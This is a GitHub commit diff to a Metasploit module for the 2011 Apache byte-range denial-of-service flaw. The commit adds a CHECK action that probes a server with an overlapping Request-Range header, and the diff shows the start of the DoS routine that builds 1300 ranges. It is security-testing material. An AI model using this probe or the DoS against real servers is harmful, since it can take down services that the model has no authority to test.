Skip to content

Commit a48c141

Browse files
author
T0X1C-1
committed
added CHECK functionality to the existing module
1 parent 23d0ffa commit a48c141

File tree

1 file changed

+66
-4
lines changed

1 file changed

+66
-4
lines changed

modules/auxiliary/dos/http/apache_range_dos.rb

Lines changed: 66 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,10 @@
1414
class Metasploit3 < Msf::Auxiliary
1515

1616
include Msf::Exploit::Remote::Tcp
17+
include Msf::Exploit::Remote::HttpClient
18+
include Msf::Auxiliary::WmapScanFile
19+
include Msf::Auxiliary::Scanner
20+
include Msf::Auxiliary::Report
1721
include Msf::Auxiliary::Dos
1822

1923
def initialize(info = {})
@@ -28,7 +32,8 @@ def initialize(info = {})
2832
'Author' =>
2933
[
3034
'Kingcope', #original discoverer
31-
'Masashi Fujiwara' #metasploit module
35+
'Masashi Fujiwara', #metasploit module
36+
'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability
3237
],
3338
'License' => MSF_LICENSE,
3439
'Version' => '$Revision$',
@@ -39,17 +44,74 @@ def initialize(info = {})
3944
[ 'EDB', '17696'],
4045
[ 'OSVDB', '74721' ],
4146
],
42-
'DisclosureDate' => 'Aug 19 2011'))
47+
'DisclosureDate' => 'Aug 19 2011',
48+
49+
'Actions' =>
50+
[
51+
['DOS'],
52+
['CHECK']
53+
],
54+
'DefaultAction' => 'DOS'
55+
56+
))
4357

4458
register_options(
4559
[
4660
Opt::RPORT(80),
4761
OptString.new('URI', [ true, "The request URI", '/']),
48-
OptInt.new('RLIMIT', [ true, "Number of requests to send", 50])
62+
OptInt.new('RLIMIT', [ true, "Number of requests to send",50]),
63+
OptString.new('ACTION', [true, "DOS or CHECK", "DOS"])
4964
], self.class)
5065
end
5166

52-
def run
67+
def run_host(ip)
68+
69+
case action.name
70+
71+
when 'DOS'
72+
conduct_dos()
73+
74+
when 'CHECK'
75+
check_for_dos()
76+
end
77+
78+
end
79+
80+
def check_for_dos()
81+
path = datastore['URI']
82+
begin
83+
res = send_request_cgi({
84+
'uri' => path,
85+
'method' => 'HEAD',
86+
'headers' => { "HOST" => "Localhost", "Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"} })
87+
88+
if (res and res.code == 206)
89+
print_status("Response was #{res.code}")
90+
print_status("Found Byte-Range Header DOS at #{path}")
91+
92+
93+
report_note(
94+
:host => rhost,
95+
:port => rport,
96+
:data => "Apache Byte-Range DOS at #{path}"
97+
98+
)
99+
100+
else
101+
print_status("NADA")
102+
103+
end
104+
105+
106+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
107+
rescue ::Timeout::Error, ::Errno::EPIPE
108+
end
109+
110+
111+
end
112+
113+
114+
def conduct_dos()
53115
uri = datastore['URI']
54116
ranges = ''
55117
for i in (0..1299) do

0 commit comments

Comments
 (0)